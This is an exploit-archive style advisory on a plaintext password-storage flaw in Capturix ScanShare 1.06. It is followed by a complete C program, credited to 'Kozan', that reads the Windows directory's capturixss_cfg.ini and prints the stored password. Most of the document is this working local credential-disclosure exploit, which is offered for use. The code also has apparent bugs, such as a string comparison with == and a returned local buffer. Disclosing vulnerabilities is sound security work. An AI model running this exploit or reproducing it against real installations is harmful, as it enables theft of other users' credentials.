---------------------
Application:
---------------------


Capturix ScanShare 1.06 build 50 (and probably prior verisons)


---------------------
Introduction:
---------------------

Share a scanner device over the network. With this application
you can share any compatible scanner (TWAIN) over the network
and use it also as a copy machine. This enables users to access
your scanner via browser and scan documents, and take copies using
the printer connected to the PC that is sharing the scanner.

Vendor: Capturix Software Technologies
www.capturix.com


---------------------
Bug:
---------------------


Capturix ScanShare configuration data and password in
"X:\[Windows_Path]\capturixss_cfg.ini" in with plain text format
without crypting and can be viewed by a local user.


---------------------
Vendor Confirmed:
---------------------

No.


---------------------
Fix:
---------------------

There is no solution at the time of this entry.



---------------------
Exploit:
---------------------


/*****************************************************************

Capturix ScanShare 1.06 Local Password Disclosure Exploit by Kozan

Application: Capturix ScanShare 1.06 build 50
(and probably prior verisons)
Vendor: Capturix Software Technologies
www.capturix.com

Vulnerable Description: Capturix ScanShare discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <windows.h>
#include <stdio.h>

int adresal(char *FilePath,char *Str)
{
       char kr;
       int Sayac=0;
       int Offset=-1;
       FILE *di;
       di=fopen(FilePath,"rb");

       if( di == NULL )
       {
               fclose(di);
               return -1;
       }

       while(!feof(di))
       {
               Sayac++;
               for(int i=0;i<strlen(Str);i++)
               {
                       kr=getc(di);
                       if(kr != Str[i])
                       {
                               if( i>0 )
                               {
                                       fseek(di,Sayac+1,SEEK_SET);
                               }
                               break;
                       }
                       if( i > ( strlen(Str)-2 ) )
                       {
                               Offset = ftell(di)-strlen(Str);
                               fclose(di);
                               return Offset;
                       }
               }
       }
       fclose(di);
       return -1;
}

char *oku(char *FilePath,char *Str)
{
       FILE *di;
       char cr;
       int i=0;
       char Feature[500];

       int Offset = adresal(FilePath,Str);

       if( Offset == -1 ) return "";

       if( (di=fopen(FilePath,"rb")) == NULL ) return "";

       fseek(di,Offset+strlen(Str),SEEK_SET);

       while(!feof(di))
       {
               cr=getc(di);
               if(cr == 0x0D) break;
               Feature[i] = cr;
               i++;
       }

       Feature[i] = '\0';
       fclose(di);
       return Feature;
}

int main()
{
	char Password[MAX_PATH], PasswordTemp[MAX_PATH];
	char WindowsPath[MAX_PATH], PwdFilePath[MAX_PATH];
	GetWindowsDirectory(WindowsPath,MAX_PATH);
	lstrcpy(PwdFilePath, WindowsPath);
	lstrcat(PwdFilePath,"\\capturixss_cfg.ini");

	lstrcpy(PasswordTemp, oku(PwdFilePath,"Password="));
	if(PasswordTemp=="") lstrcpy(Password, "Not Found!");
	else lstrcpy(Password, PasswordTemp);

	fprintf( stdout, "Capturix ScanShare 1.06 Local Exploit by Kozan\n" );
	fprintf( stdout, "Credits to AtmaCA\n" );
	fprintf( stdout, "www.netmagister.com - www.spyinstructors.com \n" );
	fprintf( stdout, "kozan@netmagister.com\n\n" );
	fprintf( stdout, "Password\t: %s\n", Password );

	return 0;
}




Kozan...